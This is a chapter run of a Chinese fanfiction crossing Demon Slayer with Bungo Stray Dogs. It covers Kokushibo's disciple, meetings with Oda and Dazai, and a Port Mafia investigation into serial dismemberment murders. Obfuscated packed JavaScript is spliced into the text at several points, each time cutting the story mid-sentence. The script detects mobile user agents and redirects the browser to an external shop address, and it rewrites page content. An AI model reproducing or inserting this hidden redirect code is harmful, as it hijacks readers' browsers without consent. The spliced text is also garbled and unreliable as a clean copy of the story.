l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13306274|140283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的频率。 不知不觉开启第二阶段的虚哭神去震响,雪野夕心随刀动,“【月之呼吸·七之型·厄镜·月映】!” 五道冲击波伴随着无数细小的月刃飞出,将周围的树木横切而段,木屑纷飞,枝干落地,轰鸣与震响传遍了整座山峰。 也震得棋盘上的棋子移位。 黑死牟丢下了即将落下的棋子,他刚刚似乎还在感叹,孩子长大了,知道自己学习了,而且今天也没有很闹腾,以前练完剑技都要自己在房间里嘶吼一会,今天居然欢欢喜喜地去了后山…… 他嘴角绷得紧紧的,起身出去了。 一个小时后,雪野夕唯唯诺诺地跟在黑死牟后面往日常住的院子里走。 而虚哭神去已经回到了黑死牟手中,他一言不发地走在继子的前面。 作为在人类时期就已经开启了斑纹、赫刀和通透世界的黑死牟来说,他很清楚刚刚继子身上发生的变化。 但正是因为清楚,这才让他再次想起了弟弟缘一的话,“我们不过是世界运行的一环,不必忧虑找不到继承人,只需要安心静待老去即可。” 缘一啊,在你死后,数百年间也未曾出现过像你一样强大的剑士。 当年的事,是你错了。 他停下了脚步,可是刚刚,他随手收下的继子却做到了,即使是在血鬼术的辅助下,她依旧达到了通透世界的境界。 如果她没有被无惨大人变成鬼,是否有一天也能达到你的高度呢? 黑死牟摩挲了一下刀身,因为他停下了脚步,雪野夕也在落后他一步的地方,安静地等待他的指示。 时间似乎过了很久,黑死牟才面无表情地问:“最近棋艺没有生疏吧?” “应该没有……吧。”雪野夕一脸“啊不是老师你想砍了我吗”的表情。 “哼,那就来对弈一局吧。” 两只鬼手谈一局,最终的结果以平局收场,黑死牟的思绪时不时掉线,雪野夕也是。 在怀疑自己会不会被对方暴起砍一刀的情况下,雪野夕敏锐地观察到黑死牟好像会时不时地把手伸进袖子里摩挲一下。 她眼尖,看到了一根断掉的木笛。 但也许是晚间的风声太静谧,临近冬日的天空又积蓄了云彩,月亮只露出了小小的一角,黑死牟看着那一角月亮,突然问她,“你会吹笛子吗?” 雪野夕谨慎地将棋子整理好,“……会一点。” 她以前的人设,是个精通乐器、茶道、烘培、花艺的女配,同时也是帮助“恶毒”二小姐作威作福的背景板。 黑死牟取出了一根新的笛子递给她,“那就吹来听听吧。” 清越的笛声直至天光熹微,他似乎才回过神来,而细小的雪花已经穿破云层,降落在了他的身上。 “好了。”他抬手打断雪野夕,“你……继续勤奋努力地练习吧,我有时间还是会来检验你的剑技的。” “那老师再见!”雪野夕麻溜地双手奉还笛子。 “吹得还不错。”黑死牟紫色的衣角在空中划过一道优美的弧度,“就送给你了。” 他的身体最终消失在了大雪纷扬的森林里。 16. 是织田作 事情终于解决了,我和栗子酱没来得及在大正时代逗留更长时间,就又被传送回了横滨。 ……奇怪,按理说大正才是我的第一穿越地点,为什么我会如此快速地回到横滨呢? 样本量太少,我无法得出答案,只能先将这个困惑记在心中,还有日记本上。 再次回到横滨,我的刷新地点还是该死的鹤见川,幸运的是这次的刷新时间是晚上。 ……更奇怪了,当我回到大正时,几乎感受不到时间变化,归去之时仍是来此之时,但横滨已然分出了昼夜变化。 就是不知道时间流速是多少,难道我在横滨已经失踪了好几天? 鹤见川冰冷刺骨,横滨的上空似乎也已经徘徊了一场暴雪。 我一边思考一边水淋淋地爬上了岸边,还没等我把身上的水弄干,就看到了一个一脸吃惊的红发青年。 那是我第一次见织田作之助。 ——【雪野夕の日记,12月13日。】 很不幸,与织田作之助的第一次见面,他把雪野夕当成了一个想要寻死的孩子。 在两人鸡同鸭讲对话十分钟后,对方决定邀请雪野夕去自己家里坐坐。 雪野夕很诧异,“第一次见面就这么说很失礼吧?” 她一个响指甩干身上的水,“放心吧,我没那么脆弱,也不像你说的那样会生病。” 原来是异能者,织田作之助呼了一口气,“那么,打扰了,要好好生活啊。” “不,我真的不想寻死……”雪野夕已经自暴自弃了,“我是不小心才掉进去的,刚刚也是自己爬上来的。” 又经过一阵鸡同鸭讲后,这个老实人才相信自己说的话。 其实织田作之助也没那么滥好心,只是雪野夕目前看起来就十四五岁的样子,让他不由自主地感到很担心罢了。 知道原因后的雪野夕:…… 她一直觉得初始形态更方便躲避阳光,现在看来变成成年心形态也不是不行。 应该说算得上很有必要才对。 “您的名字是叫织田作之助吗?”她忍不住叹了一口气,“小小年纪就一把年纪了,以后可怎么办啊?” 刚刚二十出头的织田作之助不解地歪了歪头,看起来对调侃接受良好。 她从一堆锈迹斑斑的炮弹上一跃而下,“不过,为什么这个时间会在外面闲逛呢?” “这个啊。”红发青年慢吞吞地说:“因为最近决定改行了,还没有找到新的工作,所以晚上出来走走。” “哎?那有什么理想的工作岗位吗?” “嗯,我的梦想是当一名作家,去写一本像样的小说。” “我有预感你会成功的。”雪野夕点头赞成,“毕竟你是织田作之助。” “真的吗?”他有点腼腆地摸了摸后脑,“……我还有些担心我写不好呢。” “不要紧。”安慰人这种事在雪野夕看来毫不费力,“写小说最重要的是坚持,写完了自然会有人看的。” “……我也是受到了一位先生的启发才决定这么做的。”他说,而且毫不犹豫地将自己最近的生活和盘托出,“不过上一份工作不做了的话……收入上可能会有些拮据。” 雪野夕当即就决定从自己随身携带的财宝里面找找,看看有没有金条什么的送给他。 这种资助他人写作的事情,关键这个他人还是织田作之助,简直帅呆了好嘛! 可惜红发青年非常坚决地拒绝了她的提议,并且还对她进行了好一番思想教育,告诉她钱财这种考验人性的东西是不能随便透露给别人的。 雪野夕:…… 有没有一种可能,别人我也不会跟他在这聊这么久的天呢? “那不如我请你吃饭好啦。”她转变策略,“只要你把写出来的小说给我看看就行。” “凌晨的时间可能没什么开门的店……”织田作之助看起来有点为难,因为总不能带她去居酒屋吧? “那来交换下联系方式啊。”雪野夕愉快地掏出手机。 单纯的织田先生丝毫没有考虑她到底是从哪突然掏出手机这种事,非常老实地给出了自己的联系方式。 简单到令雪野夕震撼。 “天快亮了。”她想了一下自己的帽子,把它从自己的办公室的桌子上移动到了头顶。 用手扶了扶帽檐,她挥挥手,“下次再见呀织田先生。” 利用天亮前的最后一段时间在横滨的街道上闲逛了一会儿后,雪野夕走回了港口大楼,来到自己办公室所在的楼层,她轻轻一拧门把手—— 不对劲。 在门锁中她留下的血鬼术已经消失不见了,但整扇门完好无损,正常来说,一般人进出是不会触发她的血鬼术的,只有破坏门锁时才会发动。 门锁花纹上的划痕依旧,位置丝毫没有变动,这还是她的门锁。 那整个港口mafia能造成眼下这种情况的也就只有那一个人了。 她推门而入,没想到黑漆漆的室内一角里突然传出了些许响动。 一只缠着绷带的黑猫埋在她的抱枕堆里,抬头看见是她进来后就又低下了头,栽回软绵绵的枕头上。 雪野夕震惊了,“太宰治???你为什么在这里?” 而且还把门搞成了从外部锁上的状态。 “最危险的地方就是最安全的地方。”他软绵绵地打了个哈欠,“森先生最近又想要收集新的‘宝石’,布置下的任务也太多啦。” “雪野酱白天要睡觉,所以森先生绝对不会让人来找雪野酱执行任务的嘛。” “只是没想到,雪野酱竟然一整个白天都不在呢。”他单手撑起头,却没有追问她去哪的问题。 太宰治说的一整个白天,总感觉很不可信啊!雪野夕打算待会儿去找红叶姐聊聊天。 “在鹤见川冬泳了一会儿而已。”她也过去瘫倒在自己的抱枕上,“毕竟我不像某些人时不时就感冒发烧、忘记吃饭饿晕过去、连续失眠最后还是晕过去。” “好残忍的人身攻击。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13306275|140283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”太宰治超级柔弱地抱住落在一旁的栗子酱,“在这个腐朽的世界上,只有可爱的栗子酱才能给我最后一点安慰了。” “嗯嗯,太宰先生的头也超级适合当鸟窝的啾。”栗子酱也非常真诚地回答他。 “栗子酱的手感也很好啊~” 一人一鸟就这么开启了奇异的交流,最后已经发展到要结拜的地步了。 雪野夕:……有什么诡异的港口mafia加持在起作用吗,他俩待会儿不会结拜吧? “早上了,你该回去了。”她冷漠地看了眼手机,手机时间确实现实她只离开了一天,但这可是在太宰治身边待了一天的手机啊,“刚刚森先生的指示是年后拿下【羊之王】哦。” “觊觎之心昭然若揭。”她感慨,“但是应该会用自己的口才打动对方吧。” “调查之后发现那个小矮子居然是罕见地负责型吗?”太宰治不满地戳着栗子酱,“那我要把工作都推给他啊!” “会被打吧?”雪野夕哼了一声,“我都能想象到森先生的语气了。” 她压低嗓音,双手交叠在下巴上,“钻石,只能用钻石来打磨。” “啊可恶!”太宰治丧气地揉了揉头发,“那种变态大叔想要宝石就应该自己去啊!连续加班真的好累的说……我的部下都是大笨蛋!” “还好我们武斗派只需要干掉别人。”雪野夕感慨,“不过不需要脑子的工作,干久了也会麻木吧。” “所以雪野酱,我们还是一起去跳鹤见川吧。”太宰治深情款款地看过来,“就算十二月的水再冰冷,我的心还是火……” 清晨,赶过来汇报工作的黑衣人在路过雪野夕办公室时,房门突然打开,雪野夕满脸冷漠地揪住一脸颓废的太宰治,把他礼貌地提了出来,并且殷切地告诉他,“十二月在鹤见川游泳?婉拒了。” “但如果你想感受一下发烧后一边打点滴一边被我卸掉下巴把食物灌进去的话,现在就可以预约哦~” “对了,我敢保证下次的白粥里一根蟹肉丝也不会有呢。” 随地大小演的太宰治捂住被绷带挡住的右眼,泫然欲泣地扒住门板,“这么快就忘记我们一起入水的情谊了吗雪野酱,人家只是想再来一次加深一下感……” “嗷!” 太宰治最终在整个走廊的微妙注视下回了自己的办公室,当然,他的头顶的大包上还顶着一只栗子酱,只是别人看不到而已。 转过走廊,他刚刚与雪野夕斗嘴时的、属于十五岁少年的生机已经全然消失不见,年轻而鲜亮的外表与死寂的眼睛融合在一起,变得让人琢磨不透。 只有头顶上小小的栗子酱还在散发着一点温热。 雪野夕小姐……是个追求生命的人,太宰治能看出她过去痛苦经历的一角,但为什么在经历了痛苦之后还是选择求生呢? 包括跟在他身边的这只鸟,到底和她是什么关系呢? ……嗯,在自己所好奇的谜题没有完全解开之前,他是不是还是不要寻死比较好? 17. 打磨钻石 当我看见中原中也出现在首领办公室时,我就知道,港口没良心们终于准备出手骗回一个港口良心来了。 太宰治似乎还“负伤”了,这一天打着石膏跟我们说话的语气都是委委屈屈的。 啧,我赌这伤超过百分之八十的可能不是真的。 不过他的敌人相信就可以了。 在森先生的委托下,他们两个一起去调查了擂钵街的荒霸吐事件,事件结束后,中原中也就同意了加入港口mafia。 但兰堂先生没有回来。 森先生的兑子,只会选择最优解,从某种意义上来说真是最最无情的人啊。 ——【雪野夕の日记,3月15日。】 “哟,这不是中也吗?准备好一辈子当我的小狗了吗?” 走廊上,带着雪野夕和太宰治外加一个梦野久作的森鸥外与身侧跟着中原中也的尾崎红叶相遇。 “红叶姐。”雪野夕还没向她打完招呼,另一侧的太宰治就已经窜了出去,开启与中原中也的激烈争吵。 听起来他倒像只调皮捣蛋的、非要把桌子上的杯子推下去的顽劣猫咪了。 “首领,就这样让他们成为搭档,真的好吗?”尾崎红叶笑眯眯地看着正在争吵的两个孩子。 “啊,毕竟钻石只能用钻石来打磨。”森鸥外露出了笑容,问身边的雪野夕,“雪野酱觉得呢?” 雪野夕站在他的右手边,是远离光源的一侧,“目前来看他们相处的还不错?那就恭喜您可以暂时解决人手问题吧。” 森鸥外笑而不语,反倒是一边受到了中原中也暴力威胁的太宰治“嗽”一声躲到她身后,“雪野酱你看,小蛞蝓真的太凶了!” “哈?”怒气冲冲的中原中也按住自己的帽子,“你这条混蛋青花鱼在说什么啊!” “欢迎你,中原中也君。”雪野夕没有理会两人的争吵,面色平静地跟他打招呼,“不过青花鱼这种称呼……” 她又有点想笑了。 不行不行,现在是严肃时刻。 “哎?你好,叫我中也就行……”面对太宰治能直接骂回去,但这种非常平静友好的情绪让他有点不知所措。 “啊啊,真是的,明明之前雪野酱还因为中也的名字笑了半天呢!”太宰治不满于现在的局面,决定继续“挑拨离间”一下,“而且……嗷!” 在中原中也恼怒以及干得好的眼神中,雪野夕仿佛无事发生地收回了自己用来敲太宰治的手杖。 “又来,雪野酱每次都这样。”太宰治可怜兮兮地捂着腿站起来,“这次我可是真的受伤了!” “解决不了问题就解决提出问题的人啊。”雪野夕一本正经地说。 “就是这样。”中原中也很高兴能找到一个和自己想法相似的人。 内心还挺认同这个观点的太宰治小小地哼了一下,“真是的,我真的要罢工了哦,每天上班都要被欺负……” “好了。”森鸥外拍了拍手,将自己的宝石们召唤过来,“既然事情已经告一段落,那我们接下来也应该做点正事了。” “请吩咐,首领。”中原中也再次单膝跪地,“我会用重力碾碎组织的敌人。” “那么就和太宰一起,去歼灭我们的敌对组织吧。”森鸥外眼中的笑意加深。 “雪野。”他随后又叫了雪野夕的名字。 “请您吩咐。”雪野夕很好奇他能在白日里给自己布置什么任务。 “其实是横滨最近的谋杀案。”森鸥外摸了摸身边爱丽丝的头发,“原本只是死去了几个人,但最近不知为何有传言表示这一切的幕后黑手正是港口mafia……” “真是让人苦恼的传言呢,不是吗?” “我明白了。”雪野夕俯身,“我会去找到真正的凶手,洗脱对港口mafia不利的流言。” “白日出门真是为难你了。”森鸥外看着仍然在旁边打哈欠的太宰治,“你本来就可以自由调动黑蜥蜴,我想这次的行动你依然会需要他们的。” ———— “3月12日、3月16日、3月20日……还有最近的一起,发生在昨天。” 广津柳浪一手撑着大到能容纳三到四个人的黑伞向她报告,“最新一起案件的死者,正是港口mafia的一名情报人员。” “有什么东西丢失吗?”雪野夕看了一眼手机,显示日期为3月23日。 “这……”广津柳浪的声音听上去有点愧疚,“丢失了一份组织内部人员名单,还有近几年来横滨其他兴起组织的大致人员情报。” “是了不得的东西呢。”雪野夕打了个哈欠,“怪不得森先生在白天就让我出门调查。” “非常抱歉。”老爷子抚胸弯腰致歉,“辛苦您了。” “对于那些尸体,有尸检报告吗?”她表示不在意,还是得先关注重点才行。 “此事由警方负责,我们无法干涉太多。” “那么报社呢?”雪野夕把手机在手里转了一下,“那些记者应该是最好奇这些案件细节的人吧?” “这次的事似乎也是某个记者言辞恳切地写了一篇文章,力证这一系列连环谋杀就是我们对横滨动手的征兆。”她从和服袖子里抽出一份剪报,“刚刚正好在街角买到了,真幸运呢。” “ガード……”雪野夕随手将剪报递给了广津柳浪,“看来我们得像侦探一样走访一下现场了。” 大楼下的小巷旁,长长的警戒线环绕,但路过的人依然能看清小巷中的一个“人”。 血迹斑斑的巷子中,几块碎尸拼凑出一个人形,除了缺少重要的头部。 尸体旁边还扔着一个黑色男士手提包,包口敞开,里面被翻得乱七八糟,广津柳浪还看到几张花花绿绿的纸,也许是广告? “这里就是第一案发现场吗?”她转了转手杖,“以及,这就是我们的情报人员?” “是的。” “怎么确定他的身份的?”雪野夕盯着那具碎尸,“头颅、衣物、重要的情报都消失了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13306276|140283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,就连报警似乎也是他伪装身份信息在私企上班后的同事做的呢。” “其一来自于同事的辨认,其二……”广津柳浪上前一步,指着尸体的一个碎块说:“那个标识是他特有的,也被用来识别身份。” “河中发现的碎尸……”雪野夕的话还没说完,另一侧就更大声地说出了差不多的话。 “河中发现的碎尸都是和死者年龄差不多大的男性,换掉标识也很容易吧。” 同样是黑发绿眼,带着帽子的男性正在朝这里张望,刚刚的话也正是出自他口。 “见到了很有趣的人呢。”他带上眼镜闪亮亮地看过来,“斩断过去的坚定之人,啊啊,社长一定会喜欢的。” “武装侦探社?”广津柳浪踏前半步,微微挡在雪野夕身侧,“是江户川乱步。” “名侦探想吃点心。”他没理会老爷子的动作,“你会给我的,对吧?” 虽然是疑问句,但他说得胸有成竹。 可不要小看名侦探!他看得出来对方很喜欢他的。 “确实。”不知道手里什么时候多出一包粗点心的雪野夕点头,看向惊讶地广津柳浪,“给你的剪报上有糖霜的香气,因为这是我刚刚去买报纸的时候顺手买的。” “因为方便就用报纸把点心包住了,想必这位……名侦探是因为这个才知道我买了点心吧。” 和接过点心很高兴的江户川乱步不同,广津柳浪觉得自己心态不太好—— 他们出门之后雪野小姐不是就消失了五分钟吗?很难想到她还能掏出什么东西来! 得到点心的江户川乱步很高兴,宝贝地将点心抱在怀里,“名侦探可以给你提示哦。” “乱步先生……啊,可以这么称呼吗?”雪野夕问,“因为案子这么久了还没告破,想必武装侦探社也接到委托了吧?” “想和名侦探一起行动吗?”乱步压了压头上的帽子,“打算晚饭请我吃最喜欢的食物?名侦探答应了!” “走吧走吧,先去商业街!” “雪野小姐……”广津柳浪等着她的指示。 “我们走吧。”雪野夕跟上江户川乱步的脚步,“广津先生有什么想吃的吗?” 他以为是查案,没想到雪野夕和江户川乱步真的在商业街玩了一下午,还是会一起讨论广告牌上的足球队那种。 雪野小姐平时对足球很有兴趣吗?广津柳浪有点疑惑。 “吃饱了,谢谢你把名侦探送回来。”站在距离侦探社不足两步距离的江户川乱步开心地与她道别,“下次也可以来找名侦探解决问题哦。” “你想要的结果,明天就会彻底解决。” “那还真是不知道究竟是好是坏呢。”雪野夕叹息着回应,在看着对方走进侦探社后,她就让广津柳浪把伞收了起来。 反正太阳已经落下去了,那么—— “接下来是自由行动时间哦。”她问如同骑士一样站在她身边的老爷子,“要不要一起去看看明天的足球赛?” 18. 连环凶手 今天的工作真累啊,尤其是在看到森先生坐在椅子上悠闲地等我们回来的时候。 新上任的劳模中原中也正勤勤恳恳地向boss汇报着他这一天的工作成果。 听他说完,我都快靠在门边睡着了。 当然,我没有错过太宰治似笑非笑的眼神。 啊啊,那种“辛苦的差事终于落在你头上”的表情真是讨厌啊。 别以为长得像小黑猫头上还顶着毛绒绒的栗子酱我就会原谅你啊! 要不,待会儿去套他麻袋? ——【雪野夕の日记,3月24日凌晨。】 “那么,雪野啊,今天一个白天有什么收获吗?”森鸥外终于把目光移动到了看上去很困的雪野夕身上。 在她身后的广津柳浪有些欲言又止。 因为他总不能说,雪野小姐今天出门看了下现场,认识了敌对组织武装侦探社的江户川乱步,接着他们一起去了商业街闲逛,雪野小姐在回来前还问了他要不要一起看球…… “3月12日,3月16日,3月20日……以及昨天,boss认为这几个日期有什么特殊之处吗?”雪野夕反过来问森鸥外。 “哦?这是被警方定义为连环杀人案的受害者死亡时间?”森鸥外饶有兴趣地用双手撑住下巴,“前三起的时间间隔一样,并且听说都是碎尸案,所以才会被警方并案调查。” “是啊。”雪野夕伸手放在广津柳浪面前,“不过这些日期,还有其他的意义哦。” “横滨F·水手队的比赛时间。” “横滨F·水手队的比赛时间。” 雪野夕和太宰治异口同声地说出了一个名词。 广津柳浪下意识地在兜里掏了掏,里面正是一张花花绿绿的足球比赛门票。 “难道是……所以您才问在下想不想看足球赛。”他弯腰将门票放在雪野夕伸出的手上,“下一场比赛的日期正是今日傍晚。” “所以我正是在等待啊。”雪野夕打量着这张票,“今日在尸体旁边的公文包里,也夹杂着一张这样的票,已经有些晕开褪色了,这一周横滨并没有下雨,门票又被小心地放在了夹层里,所以我推测这张票来源于3月16日上午的那场比赛。” “当然,证据已经被我带回来了,还要多谢横滨的法医来得很慢,赶在我们之后,我才有机会用血、异能力取走这张票。” 雪野夕又示意广津柳浪看自己的另一侧口袋,“直接将它传送到您的口袋里了呢。” “原来如此,怪不得太宰说看见你今天下午在跟武装侦探社的人闲逛。”森鸥外拍了拍手,“还以为雪野酱对足球比赛也有兴趣了呢。” 果然,雪野夕在心里叹息一声,她就知道太宰治不会放弃搞事的,“太宰君今天是去收集敌对组织的情报了吧?居然还能在商业街偶遇我呢。” 中原中也“哈?”了一声,“你这混蛋青花鱼任务执行到一半突然跑掉,居然是为了盯梢同事吗?” “有趣的东西,下意识就会多关注一点哦。”太宰治摩挲着手腕上粗糙的绷带。 “没想到太宰对球赛也有关注。”森鸥外打断三人即将开始的整理,示意雪野夕继续,“那么接下来呢?” “接下来就多亏了武装侦探社的名侦探啊。”雪野夕又举起了一个新出现的东西。 广津柳浪有点懵,“这又是什么?属下……” “是卷宗。”雪野夕解释,“毕竟我们想要搞到尸检报告只能去偷去抢,但接到委托的侦探社就可以借阅了。” “根据卷宗可以看出,前三具尸体虽然也是被碎尸,但状态不太一样。” “第一具尸体,切口边缘平整,凶手手法利落,简直像是森先生您动的手哦。” “第二具尸体,切口血肉模糊,似乎是分尸的时候来回拉扯导致的。” “第三具尸体,看起来凶手的心情更坏了,简直要把受害人切碎来泄愤呢。” “今天看到的第四具尸体……整个看上去支离破碎,现场留存大量血迹,我都很怀疑法医们究竟能不能将它拼好。” “这听起来倒是一个情绪逐渐愤怒的过程。”森鸥外点评,“那么你的结论是什么呢?” “这次事件的凶手,是异能者。”雪野夕总结,“刀口虽然凌乱,但下刀方式很特殊,所以多半是同一人动手。” “横滨F·水手的第一场赢得很漂亮,后面两场都输了……而明天就是复活赛。” “而这场复活赛,也关乎着我们的情报人员是否会【复活】。” “广津先生,如果要杀死一个人的话,您会用什么方法呢?” 突然被点名的英伦绅士愣了一下,很快地接话,“大概会用港口mafia传统的手段吧。” “是啊,每一个杀手在杀死目标时,大概率都会用最熟悉也是麻烦最少的方式。”雪野夕点头,“那么折磨死者又是为了什么呢?喜欢的球队输了心情不好?” “喂喂,专业的杀手真的会做这种事吗?”中原中也按着他的小圆帽质疑。 “是想掩盖些什么吧。”一身黑西装的太宰治冷淡地开口,“想要掩饰弹孔,就用新的弹孔覆盖它;想要掩饰伤痕,就用更重的伤痕……切碎原来的位置。” “那个叫神谷的情报人员多半已经失踪了好几天。”他低垂下纤长的睫毛,“毕竟我可不会因为第二天见不到小蛞蝓就去报案。” “活着的情报人员能吐露的比印在纸面上的东西有价值得多,但为了掩盖他还活着并且仍需拷打的事实,只能让港口mafia认为他已经死了。” 太宰治平静地说出这一事实,“想必雪野小姐今天看到的尸体,是死于3月20日的人和神谷在失踪前的公文包吧。” 足球门票虽然因为时间流逝而褪色,但完整地没有一丝痕迹,大概率是被主人买下后根本没有被使用过。 “正如太宰所言,森先生。”雪野夕点头,“血肉模糊的肢体中混杂着一些情报人员的标志性纹身,想必法医不会精细到查验每一个碎块的DNA是否相同吧。” “所以雪野小姐才会等待。”太宰治帮她补充完未尽之言,“凶手以足 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13306277|140283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 球赛的时间来进行抛尸,并展现出被球赛结果影响情绪的模样……但这改变不了一个事实,目前的气温并不高,再加上特殊的保存手段,所以目前出现的三具尸体腐烂程度相差不大。” “凶手甚至可以采取将数个人的肢体拼接在一起,警署的破案难度就又增加了呢。” “这真是……”中原中也握紧了拳头,“是想要挑衅我们港口mafia吗?” “明面上挑衅,倒不如说是想要得更多啊。”森鸥外敲了敲桌子,“那么,雪野酱准备怎么解决这件事?” “明天就是凶手的烟雾弹,【复活之日】,凶手想要尽善尽美,只能在明天再次丢出一具尸体,至此,横滨F·水手案就可以彻底落下帷幕。” 乱步先生也说,事情将会在明日解决。 3月24日黄昏,鹤见川旁—— “神谷的尸体被发现的日子,并不符合凶手的作案规律,而违反规律的事情,就会被警方揪住不放。”雪野夕坐在地上打哈欠,“还记得那份剪报吗?” “当然,那个记者居然敢做出那样的报道。”撑着伞的老爷子回答,“这个记者港口mafia会记得……” “ガード。”雪野夕笑了一下,“确实应该记住,毕竟是横滨的守卫者,森先生已经做好暂时认栽的准备了吧?” “打捞到了!”黑衣人的声音从岸边传来。 结实的麻袋里,是一具完整的尸体。 “这次依旧是反常吗?”广津柳浪捏紧了伞柄。 “是啊。”雪野夕扫了一眼尸体,“明日守卫者的最新报道——横滨F·水手复活赛失败,连环杀手畏罪自杀。” 而案子也就此封存。 “毕竟拷打情报人员需要时间,而五次抛尸又需要五具尸体。” 港口mafia没那么容易善罢甘休,所以这五具尸体中,究竟哪一个才是真正的连环杀手呢? “该回去向森先生复命了。”雪野夕看向广津柳浪手中的伞柄,“完成这一切计划的基础,不外乎就是这些尸体,但整个案子直到神谷的死才被调查……想必其他人都是流浪汉吧?” 在横滨,贫民窟之类的是最不缺的,如果那个人想要改变的是这样的世界…… 她捏紧了自己的袖子。 夕阳下的鹤见川被染成橘金色,荡漾出一片闪烁的水波。 “人活在这个世界上,究竟有什么意义呢?”没有等来广津柳浪的回答,雪野夕像是一个人自言自语了下去,“我曾经也在思考这个问题,我活在这个世界上的意义是什么?” “那您现在知道答案了吗?”广津柳浪问。 “也算是知道了吧。”她拨弄了一下发尾,意有所指地说:“我之所以活着,是因为莫名其妙地就来到了这个世界上,至于意义,也不需要刻意去寻找,无论有还是没有,都算是勉强在活着吧。” “人在这个世界上,总归是应该享受到一些生活的吧?” 港口大楼的办公室里,太宰治沉默地放下了耳机。 ……果然还是被发现了吗? 19. 猫选之人 当我带着“杀手”的尸体回去后,森先生也罕见地陷入了沉默。 纸质文件已经找到,据说只是凶手在看到喜爱的球队连续输球后抑制不住心中的愤怒,所以连杀两人,在球队复活赛输后,干脆投水自杀——文件被随手丢弃在一个垃圾桶里,看上去倒像是普通人看不懂,一气之下扔掉算完。 真是敷衍又不敷衍的做派啊。 至少第二日的报纸上就完全还原了本次事件的“始末”。 并呼吁连环凶杀案已经告一段落,横滨居民可以过上正常的生活了。 在森先生想要“立威”的心态下,新加入的中原中也与太宰治联手,一夜之间就铲平了一个港口mafia的敌对组织,至此,港口mafia的【双黑】一战成名。 不过这些天来他们的工作确实很忙,我只会偶尔看见匆匆而过的帽子君中原中也,太宰治不知道去哪里了,居然一次也没有碰见过。 ——【雪野夕の日记,3月30日。】 雪野夕合上日记本,最近她事情比较少,大多数时间都留在办公室补觉,就连栗子酱都摊成了一坨小鸟饼干,偶尔想活动一下也是在桌子上滚动两下就算完成运动量了。 “反正最近横滨也没什么事情做,不如我们回大正看看?”雪野夕戳着栗子酱,“正好可以水水时常啊,不然万一下次任务要好久呢?” 好像是这个道理耶,栗子酱的豆豆眼眨巴眨巴,“好哦,但是我要先提出穿越申请,大概要过两天才能回去啾。” “没问题。”雪野夕比了个“OK”的手势,“正好我再睡两天,把睡眠时长补够。” 又过了两天白天睡觉晚上也睡觉的日子,她觉得浑身的骨头都开始疼了,在得到栗子酱明天一早就能穿越的承诺后,雪野夕带好了自己的手杖和帽子,准备出门走走。 太阳刚刚落山,在港口mafia大楼的视角欣赏夜景,实在是非常奢侈的享受啊。 看着月色下波光粼粼的鹤见川,雪野夕长叹一声,跟栗子酱商量,“下次的刷新地点能不能不要是鹤见川了。” “平时的水质差我就忍了,可是前段时间的尸体都是从里面捞出来的耶。” “这个我无能为力呢啾。”栗子酱扇扇翅膀表示爱莫能助。 “那回来的时候我就把你按进水里多喝两口水。”雪野夕也温柔地告诉它。 “啊嘞?有过去的小姐?”在街边打转的人突然看过来。 “乱步先生?”雪野夕转了个身,果然对上一只绿眼睛猫猫。 还是不停地在江边打转版。 “名侦探迷路了。”他双手叉腰,身上披着的斗篷称出一个弧度,“快送名侦探卉侦探社啦!” “好吧好吧。”本来就是出来散步的雪野夕当然答应,“……那走这边。” “名侦探觉得你是大好人!虽然也不算人的说……我要那个!”被带到了美食街的江户川乱步毫不犹豫地点菜,“不要把名侦探当成猫啦!” “但是主动当猫会获得更多的小零食?”雪野夕指指另一边的黄油松饼,“要吃那个吗?” “名侦探要吃!” “哦?看到了新的波子汽水哎?” “这个名侦探也想要!” “那点心……” “要的要的!” 等到了侦探社,两个人手里各自抱着一大堆东西,其中多半是给江户川乱步买的点心。 “记得要小心接下来的行程哦。”不知何时带上眼镜的江户川乱步提醒,“名侦探喜欢你,下次也要一起出门。” “这样吗?”雪野夕思索了一下,“我会注意的。” 她告别离开,身后传来一个人训斥江户川乱步点心买太多的声音。 哎呀,人怎么能忍心责怪小猫咪呢? 刚刚转过街角,黑洞洞的枪口就这么直直地顶上了她的额头,比枪口更加冰冷的是持枪者死寂的眼睛。 “与敌对组织的成员一起逛街,雪野小姐是想要背叛组织吗?”散漫的话语从太宰治口中吐出,其中不知为何还包含着些许不悦。 前几天还瘫在自己办公室的垫子上一起吐槽上司,但转眼间就态度大变。 ……这么阴晴不定,确实不是猫吗? 雪野夕忍了又忍,终于还是忍不住弯起了嘴角。 